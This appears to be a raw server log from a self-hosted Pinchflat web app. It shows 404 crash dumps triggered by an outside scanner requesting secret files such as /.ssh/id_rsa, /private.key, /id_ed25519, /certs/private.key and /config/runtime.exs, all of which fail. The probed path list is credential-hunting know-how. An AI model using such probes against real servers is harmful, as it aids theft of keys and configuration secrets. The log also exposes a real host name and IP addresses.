{:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9917.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/runtime.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56932}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/runtime (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9917.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/runtime.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56932}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chr (truncated) 15:23:12.923 [error] #PID<0.9920.0> running PinchflatWeb.Endpoint (connection #PID<0.9918.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /mix.exs ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mix (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9918.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mix.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56920}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9920.0>, params: %{}, path_info: ["mix"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "roku.hartupee.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/mix.exs", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDFuRo3D-WCa8AA5BB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9918.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mix.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56920}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mix (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9918.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mix.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56920}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9920.0>, params: %{}, path_info: ["mix"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch = (truncated) 15:23:27.025 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:36.903 [info] GET /.ssh/id_rsa 15:23:36.903 [info] GET /private.key 15:23:36.903 [info] GET /id_ed25519 15:23:36.903 [info] GET /certs/private.key 15:23:36.903 [info] GET /localhost.pem 15:23:36.903 [info] GET /ssl/private.key 15:23:36.903 [debug] QUERY OK source="settings" db=0.2ms idle=1286.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.903 [info] GET /key.pem 15:23:36.903 [info] GET /.pem 15:23:36.903 [debug] QUERY OK source="settings" db=0.2ms idle=964.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.904 [debug] QUERY OK source="settings" db=0.1ms idle=964.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.904 [debug] QUERY OK source="settings" db=0.2ms idle=965.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.904 [debug] QUERY OK source="settings" db=0.2ms idle=285.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.904 [debug] QUERY OK source="settings" db=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.904 [debug] QUERY OK source="settings" db=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.904 [debug] QUERY OK source="settings" db=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.904 [debug] QUERY OK source="settings" db=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.904 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:36.904 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:36.904 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.904 [debug] QUERY OK source="settings" db=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.904 [debug] QUERY OK source="settings" db=0.3ms queue=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.904 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:36.904 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.905 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:36.905 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:36.905 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.905 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:36.905 [debug] QUERY OK source="settings" db=0.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.905 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:36.905 [debug] QUERY OK source="settings" db=1.1ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:36.905 [error] #PID<0.9932.0> running PinchflatWeb.Endpoint (connection #PID<0.9929.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /certs/private.key ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /certs/private (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9929.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/certs/private.key", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59784}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9932.0>, params: %{}, path_info: ["certs", "private"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/certs/private.key", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHHnK5gViFLQAAI4D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9929.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/certs/private.key", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59784}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /certs/private (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9929.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/certs/private.key", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59784}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 15:23:36.906 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:36.904 [error] #PID<0.9926.0> running PinchflatWeb.Endpoint (connection #PID<0.9924.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.ssh/id_rsa ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.ssh/id_rsa (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9924.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.ssh/id_rsa", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59766}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9926.0>, params: %{}, path_info: [".ssh", "id_rsa"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.ssh/id_rsa", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHHnD8OpKeSYAAeuC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9924.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.ssh/id_rsa", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59766}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.ssh/id_rsa (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9924.0>, port: 80, scheme: "http", version: 